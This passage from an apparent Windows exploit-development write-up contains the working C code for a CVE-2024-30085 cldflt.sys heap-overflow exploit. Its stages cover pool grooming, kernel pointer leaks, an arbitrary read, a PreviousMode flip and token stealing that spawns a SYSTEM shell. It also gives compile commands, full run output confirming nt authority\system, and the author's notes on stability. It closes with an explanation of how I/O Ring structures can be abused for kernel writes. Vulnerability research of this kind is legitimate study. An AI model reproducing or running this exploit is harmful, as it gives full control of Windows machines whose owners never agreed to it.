    printf("[+] Flink restore: 0x%08X%s\n", pipe_restore_status,
        pipe_restore_status == 0 ? " (pipe linked list repaired)" : "");
    printf("[+] Handles restore: 0x%08X%s\n", handles_restore_status,
        handles_restore_status == 0 ? " (ALPC handle table repaired)" : "");
    printf("[+] Victim1 WNF repair: 0x%08X%s\n", victim1_repair_status,
        victim1_repair_status == 0 ? " (AllocSize+DataSize -> 0xFF0)" : "");
    printf("[+] Victim2 WNF repair: 0x%08X%s\n", victim2_repair_status,
        victim2_repair_status == 0 ? " (AllocSize+DataSize -> 0xFF0)" : "");

    HANDLE nullToken = NULL;
    g_NtSetInformationThread((HANDLE)(LONG_PTR)-2, 5, &nullToken, sizeof(HANDLE));
```

```
    g_NtClose(hSysToken);
    g_NtClose(hSysProc);
    g_NtClose(hImpToken);

    HANDLE hVerifyToken = NULL;
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hVerifyToken)) {
        BYTE tbuf[256];
        DWORD tlen = 0;
        if (GetTokenInformation(hVerifyToken, TokenUser, tbuf, sizeof(tbuf), &tlen)) {
            PSID tsid = ((TOKEN_USER*)tbuf)->User.Sid;
            LPWSTR tsidStr = NULL;
            if (ConvertSidToStringSidW(tsid, &tsidStr)) {
                printf("[+] Process token SID: %ls\n", tsidStr);
                LocalFree(tsidStr);
            }
        }
        CloseHandle(hVerifyToken);
    }

    printf("[*] Creating SYSTEM shell...\n");

    STARTUPINFOW si = {};
    si.cb = sizeof(STARTUPINFOW);
    PROCESS_INFORMATION pi = {};

    WCHAR sysDir[MAX_PATH];
    GetSystemDirectoryW(sysDir, MAX_PATH);
    WCHAR cmdLine[MAX_PATH];
    swprintf(cmdLine, MAX_PATH, L"%s\\cmd.exe", sysDir);

    BOOL result = CreateProcessW(NULL, cmdLine, NULL, NULL, FALSE,
        CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi);

    if (!result) {
        printf("[-] CreateProcess failed: %lu\n", GetLastError());
        return FALSE;
    }

    printf("[+] Process created, PID: %lu\n", pi.dwProcessId);

    HANDLE hNewToken = NULL;
    if (OpenProcessToken(pi.hProcess, TOKEN_QUERY, &hNewToken)) {
        BYTE buf[256];
        DWORD len = 0;
        if (GetTokenInformation(hNewToken, TokenUser, buf, sizeof(buf), &len)) {
            PSID sid = ((TOKEN_USER*)buf)->User.Sid;
            LPWSTR sidStr = NULL;
            if (ConvertSidToStringSidW(sid, &sidStr)) {
                printf("[+] Shell token SID: %ls\n", sidStr);
                if (wcscmp(sidStr, L"S-1-5-18") == 0) {
                    printf("\n[+] ============================================\n");
                    printf("[+]   CONFIRMED: SYSTEM SHELL SPAWNED!\n");
                    printf("[+]   PID: %lu | SID: S-1-5-18\n", pi.dwProcessId);
                    printf("[+]   Method: PreviousMode + NtWriteVirtualMemory\n");
                    printf("[+] ============================================\n");
                }
```

```
                else {
                    printf("[-] WARNING: Shell is NOT running as SYSTEM\n");
                    printf("[-] SID: %ls\n", sidStr);
                }
                LocalFree(sidStr);
            }
        }
        CloseHandle(hNewToken);
    }

    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);

    printf("[+] Stage 23 COMPLETE\n");
    return TRUE;
}

//============================================================================
// CLEANUP
//============================================================================

static void Cleanup(void) {
    printf("\n========================================\n");
    printf("    CLEANUP\n");
    printf("========================================\n");
    fflush(stdout);

    printf("[*] Skipping WNF deletions (pool corruption safety)\n"); fflush(stdout);

    printf("[*] Closing pipes (skip target %d)...\n", g_target_pipe_index);
fflush(stdout);
    if (g_pipe_read && g_pipe_write) {
        for (DWORD i = 0; i < PIPE_SPRAY_COUNT; i++) {
            if ((int)i == g_target_pipe_index) continue;
            if (g_pipe_read[i]) CloseHandle(g_pipe_read[i]);
            if (g_pipe_write[i]) CloseHandle(g_pipe_write[i]);
        }
    }
    printf("[+] Non-target pipes closed\n"); fflush(stdout);

    printf("[*] Closing target pipe (index %d)...\n", g_target_pipe_index);
fflush(stdout);
    if (g_target_pipe_index >= 0 && g_pipe_read && g_pipe_write) {
        if (g_pipe_read[g_target_pipe_index])
CloseHandle(g_pipe_read[g_target_pipe_index]);
        if (g_pipe_write[g_target_pipe_index])
CloseHandle(g_pipe_write[g_target_pipe_index]);
    }
    printf("[+] Target pipe closed\n"); fflush(stdout);

    printf("[*] Closing ALPC ports...\n"); fflush(stdout);
    if (g_alpc_ports) {
        for (DWORD i = 0; i < ALPC_PORT_COUNT; i++) {
            if (g_alpc_ports[i]) {
                CloseHandle(g_alpc_ports[i]);
                g_alpc_ports[i] = NULL;
```

```
            }
        }
    }
    printf("[+] ALPC ports closed\n"); fflush(stdout);

    if (g_fake_kalpc_reserve_object) {
        VirtualFree(g_fake_kalpc_reserve_object, 0, MEM_RELEASE);
        g_fake_kalpc_reserve_object = NULL;
    }
    if (g_fake_kalpc_message_object) {
        VirtualFree(g_fake_kalpc_message_object, 0, MEM_RELEASE);
        g_fake_kalpc_message_object = NULL;
    }

    SetFileAttributesW(g_filePath, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath);
    SetFileAttributesW(g_filePath_second, FILE_ATTRIBUTE_NORMAL);
    DeleteFileW(g_filePath_second);

    if (g_syncRootPath[0]) CfUnregisterSyncRoot(g_syncRootPath);

    printf("[+] Cleanup complete\n"); fflush(stdout);
}

//==========================================================================
// MAIN
//==========================================================================

int wmain(void) {

printf("==========================================================================\n
");
    printf("  CVE-2024-30085 Exploit | Token Stealing Edition\n");
    printf("  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow\n");
    printf("  PreviousMode flip -> Token Steal + Flink Restore -> Shell\n");

printf("==========================================================================\n
");

    if (!InitializeNtdllFunctions() || !InitializeSyncRoot()) {
        printf("[-] Initialization failed\n");
        return -1;
    }

    if (!DiscoverKthreadEarly()) {
        printf("[-] KTHREAD discovery failed\n");
        return -1;
    }

    BOOL success = TRUE;

    if (success) success = Stage01_Defragmentation();
    if (success) success = Stage02_CreateWnfNames();
    if (success) success = Stage03_AlpcPorts();
    if (success) success = Stage04_UpdateWnfPaddingData();
    if (success) success = Stage05_UpdateWnfStateData();
```

```
    if (success) success = Stage06_CreateHoles();
    if (success) success = Stage07_PlaceOverflow();
    if (success) success = Stage08_TriggerOverflow();
    if (success) success = Stage09_AlpcReserves();
    if (success) success = Stage10_LeakKernelPointer();

    if (!g_leaked_kalpc) {
        printf("\n[-] FIRST WAVE FAILED - Try again\n");
        getchar();
        Cleanup();
        return -1;
    }

    printf("\n=== FIRST WAVE SUCCESS: Leaked 0x%p ===\n", g_leaked_kalpc);

    if (success) success = Stage11_CreatePipes();
    if (success) success = Stage12_SprayPipeAttributesClaim();
    if (success) success = Stage13_SecondWnfSpray();
    if (success) success = Stage14_CreateHolesSecond();
    if (success) success = Stage15_PlaceSecondOverflow();
    if (success) success = Stage16_TriggerSecondOverflow();
    if (success) success = Stage17_FillWithPipeAttributes();
    if (success) success = Stage18_FindSecondVictimAndLeakPipe();
    if (success) success = Stage19_SetupArbitraryRead();
    if (success) success = Stage20_ReadKernelMemory();

    if (success) success = Stage21_DiscoverEprocessAndToken();
    if (success) success = Stage22_FlipPreviousMode();
    if (success) success = Stage23_TokenStealAndShell();


printf("\n================================================================================
\n");
    printf("  %s\n", success ? "EXPLOIT SUCCESSFUL!" : "EXPLOIT INCOMPLETE");

printf("================================================================================\n
");

    printf("\n[*] Press ENTER to cleanup and exit...\n");
    getchar();
    Cleanup();

    return success ? 0 : -1;
}
```

Compiling this code on Visual Studio 2022 is direct and without any issue. To compile it on Visual Studio Code, you must add the Windows SDK folders to the PATH, and execute:

- `cl.exe //TP //Fe:exploit_token_stealing_edition.exe exploit_token_stealing_edition.c //link Cldapi.lib Ole32.lib Shell32.lib ntdll.lib Advapi32.lib`

The output is shown below:

```
Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.
```

```
C:\Users\aborges>whoami
desktop-31fh7lh\aborges

C:\Users\aborges>cd C:\Users\aborges\Desktop\RESEARCH

C:\Users\aborges\Desktop\RESEARCH>exploit_token_stealing_edition.exe
================================================================================
  CVE-2024-30085 Exploit | Token Stealing Edition
  Privilege Escalation via cldflt.sys Heap-based Buffer Overflow
  PreviousMode flip -> Token Steal + Flink Restore -> Shell
================================================================================
[+] All ntdll functions resolved
[+] Sync root registered: C:\Users\aborges\AppData\Roaming\MySyncRoot
[*] Pre-discovering KTHREAD for PID=2016 TID=3012
[+] KTHREAD: 0xFFFFB68B1CB29080

========================================
    STAGE 01: DEFRAGMENTATION
========================================
[+] Round 1: 5000/5000 pipes
[+] Round 2: 5000/5000 pipes
[+] Waiting for the memory to stabilize...
[+] Stage 01 COMPLETE

========================================
    STAGE 02: CREATE WNF NAMES
========================================
[+] Created 20480 padding WNF names
[+] Created 2048 actual WNF names
[+] Waiting for the memory to stabilize...
[+] Stage 02 COMPLETE

========================================
    STAGE 03: ALPC PORTS
========================================
[+] Created 2048 ALPC ports
[+] Waiting for the memory to stabilize...
[+] Stage 03 COMPLETE

========================================
    STAGE 04: UPDATE WNF PADDING DATA
========================================
[+] Updated padding WNF data
[+] Waiting for the memory to stabilize...
[+] Stage 04 COMPLETE

========================================
    STAGE 05: UPDATE WNF STATE DATA
========================================
[+] Updated 2048 actual WNF objects
[+] Waiting for the memory to stabilize...
[+] Stage 05 COMPLETE

========================================
    STAGE 06: CREATE HOLES
========================================
[+] Created 1024 holes
[+] Waiting for the memory to stabilize...
[+] Stage 06 COMPLETE
```

```
=======================================
    STAGE 07: PLACE OVERFLOW BUFFER
=======================================
[+] Reparse point set (ChangeStamp=0xC0DE)
[+] Stage 07 COMPLETE

=======================================
    STAGE 08: TRIGGER OVERFLOW
=======================================
[+] Overflow triggered (0x1010 bytes into 0x1000 buffer)
[+] Waiting for the memory to stabilize...
[+] Stage 08 COMPLETE

=======================================
    STAGE 09: ALPC RESERVES
=======================================
[+] Created 526336 total reserves
[+] Saved reserve handle: 0x0000000080000010
[+] Waiting for the memory to stabilize...
[+] Stage 09 COMPLETE

=======================================
    STAGE 10: LEAK KERNEL POINTER
=======================================
[+] Found victim WNF at index 1 (DataSize: 0xFF8)
[+] KERNEL POINTER LEAKED: 0xFFFF960F1E855EE0
[+] Stage 10 COMPLETE

=== FIRST WAVE SUCCESS: Leaked 0xFFFF960F1E855EE0 ===

=======================================
    STAGE 11: CREATE PIPES
=======================================
[+] Created 1536 pipe pairs
[+] Waiting for the memory to stabilize...
[+] Stage 11 COMPLETE

=======================================
    STAGE 12: SPRAY PIPE ATTRS (CLAIM)
=======================================
[+] Set 1536 pipe attributes
[+] Waiting for the memory to stabilize...
[+] Stage 12 COMPLETE

=======================================
    STAGE 13: SECOND WNF SPRAY
=======================================
[+] Created and updated 1536 second wave WNF
[+] Waiting for the memory to stabilize...
[+] Stage 13 COMPLETE

=======================================
    STAGE 14: CREATE HOLES (SECOND)
=======================================
[+] Created 768 holes
[+] Waiting for the memory to stabilize...
[+] Stage 14 COMPLETE

=======================================
```

```
    STAGE 15: PLACE SECOND OVERFLOW
=======================================
[+] Reparse point set (ChangeStamp=0xDEAD)
[+] Stage 15 COMPLETE

=======================================
    STAGE 16: TRIGGER SECOND OVERFLOW
=======================================
[+] Second overflow triggered
[+] Waiting for the memory to stabilize...
[+] Stage 16 COMPLETE

=======================================
    STAGE 17: FILL WITH PIPE ATTRS
=======================================
[+] Set 1536 large pipe attributes
[+] Waiting for the memory to stabilize...
[+] Stage 17 COMPLETE

=======================================
    STAGE 18: FIND VICTIM & LEAK PIPE
=======================================
[+] Found second victim WNF at index 1
[+] PIPE_ATTRIBUTE LEAKED: 0xFFFF960F19289150
[+] Stage 18 COMPLETE

=======================================
    STAGE 19: SETUP ARBITRARY READ
=======================================
[+] Fake pipe_attr at: 0x00007FF78059EC40
[+] pipe_attribute->Flink corrupted
[+] Stage 19 COMPLETE

=======================================
    STAGE 20: READ KERNEL MEMORY
=======================================
[+] Found target pipe at index 0
[*] KALPC_RESERVE:
    +0x00: 0xFFFFB68B1FF43B00
    +0x08: 0xFFFF960F212756B8
    +0x10: 0x0000000000000010
    +0x18: 0xFFFF960F1834EBF0
[+] Arbitrary READ primitive established!
[+] Stage 20 COMPLETE

=======================================
    STAGE 21: DISCOVER EPROCESS/TOKEN
=======================================
[+] ALPC_PORT: 0xFFFFB68B1FF43B00
[+] EPROCESS: 0xFFFFB68B246950C0 (exploit_token_)
[*] Our PID: 2016
[+] Our EPROCESS: 0xFFFFB68B246950C0
[+] Our Token: 0xFFFF960F183BC970
[+] SYSTEM EPROCESS: 0xFFFFB68B196A5040
[+] SYSTEM Token: 0xFFFF960F0CA5B760 (raw: 0xFFFF960F0CA5B764)
[+] Winlogon PID: 5508
[+] Stage 21 COMPLETE

=======================================
    STAGE 22: ALPC PREVIOUSMODE FLIP
```

```
======================================
[*] PreviousMode flip: overwrite KTHREAD+0x232 with 0x00
[*] Target: 0xFFFFB68B1CB292B2 (our KTHREAD+0x232)
[*] Setting up fake KALPC structures...

[*] === VERIFICATION: Reading KTHREAD+0x232 BEFORE ===
[*] PreviousMode BEFORE: 0x01 (UserMode)

[*] Corrupting via first WNF overflow...
[*] Victim WNF index: 1
[+] First WNF overflow complete - Handles array entry corrupted
[*] Sending ALPC messages with PreviousMode=0 payload...
[+] ALPC messages sent
[*] PreviousMode AFTER: 0x00
[+] PreviousMode FLIPPED to 0x00 (KernelMode)!
[+] Stage 22 COMPLETE

======================================
    STAGE 23: TOKEN STEAL + SHELL
======================================
[*] Executing PreviousMode=0 syscall sequence...
[*] Corrupted pipe attr at: 0xFFFF960F3C12B000 (will restore Flink)
[*] Corrupted Handles entry at 0xFFFF960F212756C8 (+0x10): 0x0000000000000200
[!] Victim1 candidate at 0xFFFF960F212746B8: TypeCode=0x0000 AllocSize=0x0 (unexpected)
[*] Victim2 WNF_STATE_DATA at 0xFFFF960F3C12A000 (TypeCode=0x0904, AllocSize=0xFF8)
[+] PreviousMode restore: 0x00000000
[+] Token write:   0x00000000
[+] Flink restore: 0x00000000 (pipe linked list repaired)
[+] Handles restore: 0x00000000 (ALPC handle table repaired)
[+] Victim1 WNF repair: 0xFFFFFFFF
[+] Victim2 WNF repair: 0x00000000 (AllocSize+DataSize -> 0xFF0)
[+] Process token SID: S-1-5-18
[*] Creating SYSTEM shell...
[+] Process created, PID: 952
[+] Shell token SID: S-1-5-18

[+] ============================================
[+]   CONFIRMED: SYSTEM SHELL SPAWNED!
[+]   PID: 952 | SID: S-1-5-18
[+]   Method: PreviousMode + NtWriteVirtualMemory
[+] ============================================
[+] Stage 23 COMPLETE

================================================================================
  EXPLOIT SUCCESSFUL!
================================================================================

[*] Press ENTER to cleanup and exit...

======================================
    CLEANUP
======================================
[*] Skipping WNF deletions (pool corruption safety)
[*] Closing pipes (skip target 0)...
[+] Non-target pipes closed
[*] Closing target pipe (index 0)...
[+] Target pipe closed
[*] Closing ALPC ports...
[+] ALPC ports closed
[+] Cleanup complete
```

```
C:\Users\aborges\Desktop\RESEARCH>


Microsoft Windows [Version 10.0.22631.2428]
(c) Microsoft Corporation. All rights reserved.

C:\Users\aborges\Desktop\RESEARCH>whoami
nt authority\system

C:\Users\aborges\Desktop\RESEARCH>ver

Microsoft Windows [Version 10.0.22631.2428]

C:\Users\aborges\Desktop\RESEARCH>
```

A list of stages from exploit follows:

- **Stage 01:** Defragmentation
- **Stage 02:** CreateWnfNames
- **Stage 03:** AlpcPorts
- **Stage 04:** UpdateWnfPaddingData
- **Stage 05:** UpdateWnfStateData
- **Stage 06:** CreateHoles
- **Stage 07:** PlaceOverflow
- **Stage 08:** TriggerOverflow
- **Stage 09:** AlpcReserves
- **Stage 10:** LeakKernelPointer
- **Stage 11:** CreatePipes
- **Stage 12:** SprayPipeAttrsClaim
- **Stage 13:** SecondWnfSpray
- **Stage 14:** CreateHolesSecond
- **Stage 15:** PlaceSecondOverflow
- **Stage 16:** TriggerSecondOverflow
- **Stage 17:** FillWithPipeAttributes
- **Stage 18:** FindVictimAndLeakPipe
- **Stage 19:** SetupArbitraryRead
- **Stage 20:** ReadKernelMemory
- **Stage 21:** DiscoverEprocessAndToken
- **Stage 22:** FlipPreviousMode
- **Stage 23:** TokenStealAndShell

The list is remarkably similar to the ALPC exploit version, but actually it can be easily divided into three blocks:

- **Block A (Stages 01 to 10):** Leak KALPC_RESERVE pointer.
- **Block B (Stages 11 to 20):** Get and use arbitrary read primitive.
- **Block C (Stages 21 to 23):** Privilege escalation (flipping PreviousMode followed by Token Steal).

There are further comments about the code:

- KTHREAD_PREVIOUSMODE_OFFSET (0x232) has been added to program. This offset can change over different Windows versions and releases.
- I have added DiscoverKthreadEarly routine, which discovers the _KTHREAD kernel address of our own thread. The issue was to find an appropriate moment to do it, and I have preferred doing it before any kind of pool manipulation to prevent any unexpected interference.
- In Stage 21 I have chosen saving two different contents of the System process's token. In g_system_token I have saved the token without EX_FAST_REF bits because they will be used for a later comparison. Additionally, I have a raw version of the System process's token into g_system_token_raw because it will be used as payload to replace the exploit's token and, in this case, it is necessary to include everything, mainly EX_FAST_REF refcount bits.
- In Stage 22 that the adopted approach becomes clear because I have not used the ALPC write primitive to change token's privileges, but for flipping _KTHREAD.PreviousMode to unlock the usage of NtWriteVirtualMemory for writing in any kernel address. In effect, I exchanged a one-shot ALPC write primitive with an unlimited NtWriteVirtualMemory write primitive, which will be used to replace the exploit's token, restore the corrupted PipeAttribute Flink member and finally restore the PreviousMode to avoid being detected by kernel.
- When I tried using the ALPC write primitive for the first time to change PreviousMode's value, I used ExtensionBufferSize=0x08 to limit the writing to 8 bytes and, as restricting the amount of data overwritten. Nonetheless, I have realized that it didn't work (actually, there was even any kind of message or explicit error) and I have concluded that the minimum write should be 0x10 bytes.
- In Stage 23, which I have subdivided into three phases to make debugging sessions easier for me and because I needed to rewrite it entirely.
- In the first part of Stage23, the code starts reading (actually, retrieving) the Blink pointer of the fake pipe attribute (g_leaked_pipe_attr + 0x08) to discover the address of the corrupted kernel pipe attribute whose Flink field was overwritten in Stage 19. I adopted this approach as a fast-way to reach to Flink pointer that will be restored later because the offset between Blink and Flink is only 0x08 bytes, and once I can find one then I can find the other. I am not sure whether another smarter approach can be used, but this one has worked well.
- In the continuation of Stage 23, the sequence of calls to NtOpenProcess, NtDuplicateToken, and NtSetInformationThread has been explained previously.
- NtWriteVirtualMemory is used three times, where the first call is for replacing the running exploit code's token with the raw System token value, which changes that the exploit process identity to SYSTEM. The second call for NtWriteVirtualMemory restores the corrupted pipe attribute's Flink to its original value and prevents possible crashes when the kernel transverses the pipe attribute linked list. The last call for NtWriteVirtualMemory is to restore PreviousMode to 1 (KernelMode), and it means that we cannot write to kernel addresses using the function after this point.
- The last part of Stage 23 is to spawn cmd.exe and verify whether the SYSTEM's SID is correct, stop impersonation and close handles.
- The cleanup phase was much more complicated than expected because initially the exploit worked well, but when it exited, the cleanup phase did not finished and the system crashed. Actually, there were multiple issues that have brought system to it, and Stage 19 introduces the first challenge because we corrupt the kernel pipe attribute's Flink pointer (PipeAttribute.list.Flink), which originally pointed to an address in kernel mode and passed to point to a user-mode address. The problem is that when the process exits, the kernel's pipe cleanup code in

Npfs!NpRemoveAllAttributesFromList walks the PipeAttribute.list linked list (that was modified), follows the corrupted Flink to user-mode address space (which may already be freed, but we cannot be sure), and crashes. As I have manipulated the PreviousMode flag (PreviousMode == 0) and got an unlimited arbitrary-write primitive with NtWriteVirtualMemory function, I have fixed the issue using exactly this function and restored the original PipeAttribute.list.Flink. Remember that finding the corrupted PipeAttribute address was possible by reading the PipeAttribute.list.Blink field (offset 0x08, and not 0x00) of our fake PipeAttribute at g_leaked_pipe_attr. Finally, I was trying to remove the corrupted WNF entries from the first and second wave because they had their headers corrupted, but I have realized that the kernel also tried to access their invalid pool metadata and caused a crash. Therefore, I literally skipped them in this cleanup phase because, at the end, they caused only a small memory leak and obviously did not represent a major issue. Stability is something that definitely can be complex to obtain in exploit development.

07. I/O Ring: core concepts and exploitation techniques

This section presents another powerful technique to exploit and elevate privileges in CVE-2024-30085 vulnerability context based on I/O Ring mechanism.

I/O Ring is implemented on Windows 11 and Linux using slightly different techniques and concepts, which is natural, but the general idea remains essentially the same. When an application reads from a file, it invokes ReadFile function, which starts a transition from user mode to kernel mode. Afterwards, kernel receives the request, performs the I/O operation, and manages the return to user mode. However, if application performs 1000 reads, it will be 1000 identical execution flows and, as expected, it also will generate a heavy overhead.

The solution offered by I/O Ring allows the application to describe the same 1000 reading operations in a shared memory via a section object, make a single kernel call and execute all of them. As you have noticed, the final effect is like a batch execution. Multiple components and concepts are introduced by I/O Ring, which is the mechanism itself that provides a ring buffer used for the operation queue, and when the queue reaches “its end”, it wraps around to the beginning. As a side note, I/O Ring implementation on Windows has changed and evolved over time, with three different versions since Windows 11 21H2, and readers need to pay attention to this because exploits working on a given Windows 11 build might not work in previous versions.

The first component is the Submission Queue, which is the mentioned ring buffer residing in a shared memory region and that receives and holds I/O requests from application (application writes into this shared memory region). That is a first critical concept that needs to be cleared because it may cause confusion. Submission Queue only holds submission queue entries (the requests themselves, which are registed) and not the data coming from the user buffer. The data itself is stored in a registered buffer provided by IOP_MC_BUFFER_ENTRY.Address, from where kernel reads and writes to file. In the opposite direction, kernel reads from file and writes to the registered buffer given by IOP_MC_BUFFER_ENTRY.Address. In terms of requests (and only requests) the kernel will read them from this queue and proceed with their processing. Therefore, we have application → submission queue →

kernel. The Submission Queue Entry describes the IO operation itself with key information like buffer, file, size of operation, operation type (read, write, flush and other ones).

Completion Queue component is located in the same shared memory to where the kernel returns the result of the operation (only results), and from where application indirectly reads them. Therefore, in terms of results, we have kernel → completion queue → application. There is another component named Completion Queue Entry that contains and describes the result of the complete I/O operation. Again, pay attention to the fact that it is the data itself. Furthermore, it provides basic information such as number of bytes transferred and whether operation was success or failure..

The I/O Ring mechanism is triggered when CreateIoRing function is called, which creates a _IORING_OBJECT, allocates shared memory section for submission and completion queues, and maps them to user and kernel spaces via MDL. CreateIoRing function prototype, which is exported from KernelBase.dll and declared in <ioringapi.h>, follows as shown below:

```
HRESULT CreateIoRing(
    IORING_VERSION   ioringVersion,
    IORING_CREATE_FLAGS flags,
    UINT32           submissionQueueSize,
    UINT32           completionQueueSize,
    HIORING*         h
);
```

As the application describes and indicates memory buffers that will be used for I/O, it is necessary to call BuildIoRingRegisterBuffers function to register buffers with the I/O Ring. As expected, each buffer address will be validated by the kernel (they need to be user-mode addresses), IOP_MC_BUFFER_ENTRY structures will be created in kernel pool for each buffer, the memory will be pinned (fixed) to avoid being paged, IORING_OBJECT.RegBuffersCount and IORING_OBJECT.RegBuffers will be set up (in next paragraphs I will comment on them) and such buffers will referred by I/O operations via indexed (ex: IoRingBufferRefFromIndexAndOffset(0, 0)) instead of by pointer. Actually, we will not be using BuildIoRingRegisterBuffers function exactly because we do not want it verifies and validate the buffer's address, which it will be manipulated to point to another place and, instead of following this approach, the exploit will be using the existing ALPC write-primitive to corrupt IORING_OBJECT.RegBuffers and IORING_OBJECT.RegBuffersCount to point to our fake user-mode array containing a hand-crafted IOP_MC_BUFFER_ENTRY.Address = EPROCESS+Token, which would not be allowed because it is a kernel address. Anyway, the prototype of the function is shown below:

```
HRESULT BuildIoRingRegisterBuffers(
    HIORING              ioRing,
    UINT32               count,
    IORING_BUFFER_INFO const* buffers,
    UINT_PTR             userData
);
```

To place a read or write Submission Queue Entry from/to the submission queue, BuildIoRingReadFile or BuildIoRingWriteFile can be invoked, respectively. The respective BuildIoRingReadFile and BuildIoRingWriteFile prototypes follow below:

```
HRESULT BuildIoRingReadFile(
    HIORING              ioRing,
```

```
    IORING_HANDLE_REF    fileRef,       // note: file to read FROM.
    IORING_BUFFER_REF    bufferRef,     // note: buffer to read INTO.
    UINT32               numberOfBytesToRead,
    UINT64               fileOffset,
    UINT_PTR             userData,
    IORING_SQE_FLAGS     sqeFlags
);

HRESULT BuildIoRingWriteFile(
    HIORING              ioRing,
    IORING_HANDLE_REF    fileRef,       // note: file to write INTO.
    IORING_BUFFER_REF    bufferRef,     // note: buffer to write FROM.
    UINT32               numberOfBytesToWrite,
    UINT64               fileOffset,
    FILE_WRITE_FLAGS     writeFlags,
    UINT_PTR             userData,
    IORING_SQE_FLAGS     sqeFlags
);

HRESULT SubmitIoRing(
    HIORING  ioRing,
    UINT32   waitOperations,
    UINT32   milliseconds,
    UINT32*  submittedEntries
);
```

Another key point to mention is that each request (submission queue entry) is queued into Submission Queue, but it is not effectively submitted. To submit all submission queue entries, SubmitIoRing function must be called, and it makes each submission queue entry to be processed by the kernel, which performs the actual I/O operation and whose result is returned by the kernel to Completion Queue. Optionally, the caller application could wait for some completions before returning, and this behavior would be timeout-based. After I/O operations, all results are retrieved by calling PopIoRingCompletion function, which effectively read a Completion Queue Entry from the Completion Queue and checks what operations have got succeeded. To close the I/O Ring channel, use CloseIoRing that frees every involved component. Prototypes of PopIoRingCompletion and CloseIoRing functions follow below:

```
HRESULT PopIoRingCompletion(
    HIORING      ioRing,
    IORING_CQE*  cqe         // note: cqe means completion queue entry.
);

HRESULT CloseIoRing(HIORING ioRing);
```

I/O Ring operation can occurs with or without buffer registration. If the I/O operation goes without buffer registration, each I/O operation carries the buffer address (shared memory region) directly (a raw pointer) and probes such the pointer to ensure that it is a valid user-mode memory. Afterwards, the kernel locks associated memory pages and performs the actual I/O. Once the I/O operation that has been processed then kernel unlocks the memory pages. While this model presents a simplified operation, the disadvantage of using unregistered buffers is that this procedure is repeated for every single submittment and it does not produce a desired result in terms of efficiency and low overhead.

During the registration, IOP_MC_BUFFER_ENTRY structures are created (one per buffer) and populated with Address, Length and metadata fields. If the I/O Ring operation goes with buffer registration, buffers are registered upfront and an index is attributed to each one of them. Additionally, kernel probes all buffer addresses before proceeding to ensure that they are located in user-mode space, locks all pages and creates an IOP_MC_BUFFER_ENTRY structure (we mentioned this struture previously) in kernel pool that will be also used to store results of all these validation, page locking and further tasks. In this sense, IOP_MC_BUFFER_ENTRY structure is used to cache of completed work, which seems to be only a few details, but it is not because kernel needs to check if the address belongs to user-space, lock pages (it produces an MDL -- Memory Descriptor List -- that maps virtual memory address to physical page frame numbers), records from where the registration came and still tracks potential references using the buffer. One of good aspects is that the structure is used as reference for operations, and subsequent operations can query for a specific index, and everything associated with that buffer (validated and locked buffer, for example) can be retrieved from IOP_MC_BUFFER_ENTRY structure. On the kernel side, IORING_OBJECT structure, which is a kernel object created per each CreateIoRing call, that a field named RegBuffers that holds the pointer to array of IOP_MC_BUFFER_ENTRY structures, which means that we have a double indirection here. To be able to proceed with discussion, IOP_MC_BUFFER_ENTRY, IORING_OBJECT, and IORING_BUFFER_INFO structures definitions are shown as follow below:

```
typedef struct _IOP_MC_BUFFER_ENTRY {
    USHORT    Type;                 // 0x00
    USHORT    Reserved;             // 0x02
    ULONG     Size;                 // 0x04
    ULONG     ReferenceCount;       // 0x08
    ULONG     Flags;                // 0x0C
    LIST_ENTRY GlobalDataLink;      // 0x10
    PVOID     Address;              // 0x20
    ULONG     Length;               // 0x28
    CHAR      AccessMode;           // 0x2C
    // 3 bytes padding
    LONG      MdlRef;               // 0x30
    // 4 bytes padding to 0x38
    PMDL      Mdl;                  // 0x38
    KEVENT    MdlRundownEvent;      // 0x40
    PULONG64  PfnArray;             // 0x58
    BYTE      PageNodes[0x20];      // 0x60
} IOP_MC_BUFFER_ENTRY;              // 0x80 bytes

typedef struct _IORING_BUFFER_INFO {
    PVOID  Address;    // 0x00  (Buffer address)
    ULONG  Length;     // 0x08  (Buffer length)
} IORING_BUFFER_INFO;  // 0x10 bytes

typedef struct _HIORING {
    HANDLE   handle;
    NT_IORING_INFO Info;
    ULONG    IoRingKernelAcceptedVersion;
    PVOID    RegBufferArray;          // (Pointer to registered buffers)
    ULONG    BufferArraySize;         // (Count of registered buffers)
    PVOID    Unknown;
    ULONG    FileHandlesCount;
    ULONG    SubQueueHead;
    ULONG    SubQueueTail;
```

```
} _HIORING;

typedef struct _IORING_OBJECT {
    SHORT  Type;                                    // 0x00
    SHORT  Size;                                    // 0x02
    // 4 bytes padding
    NT_IORING_INFO UserInfo;                        // 0x08
    PVOID  Section;                                 // 0x38
    PNT_IORING_SUBMISSION_QUEUE SubmissionQueue;    // 0x40
    PMDL   CompletionQueueMdl;                      // 0x48
    PNT_IORING_COMPLETION_QUEUE CompletionQueue;    // 0x50
    ULONG64 ViewSize;                               // 0x58
    LONG   InSubmit;                                // 0x60
    // padding to 0x68
    ULONG64 CompletionLock;                         // 0x68
    ULONG64 SubmitCount;                            // 0x70
    ULONG64 CompletionCount;                        // 0x78
    ULONG64 CompletionWaitUntil;                    // 0x80
    KEVENT  CompletionEvent;                        // 0x88
    UCHAR  SignalCompletionEvent;                   // 0xA0
    // padding to 0xA8
    PKEVENT CompletionUserEvent;                    // 0xA8
    ULONG  RegBuffersCount;                         // 0xB0
    // 4 bytes padding to 0xB8
    IOP_MC_BUFFER_ENTRY** RegBuffers;               // 0xB8
    ULONG  RegFilesCount;                           // 0xC0
    // padding to 0xC8
    PVOID* RegFiles;                                // 0xC8
} IORING_OBJECT;                                    // +/- 0xD0 bytes
```

The IOP_MC_BUFFER_ENTRY structure has some interesting fields:

- Type: it contains the kernel object type tag.
- ReferenceCount: it holds the number of operations that refer to the buffer represented by this structure.
- Address: it contains an address copied from user's _IORING_BUFFER_INFO.
- Length: it contains a size copied from user's _IORING_BUFFER_INFO.
- AccessMode: it tells whether the buffer has been registered from user-mode.
- MdlReg: it holds MDL reference tracking.

The _IORING_OBJECT contains the following important fields:

- SubmissionQueue: it contains queued operations.
- CompletionQueue: it contains results returned by kernel.
- RegBufferCount: it holds the number of buffers that were registered.
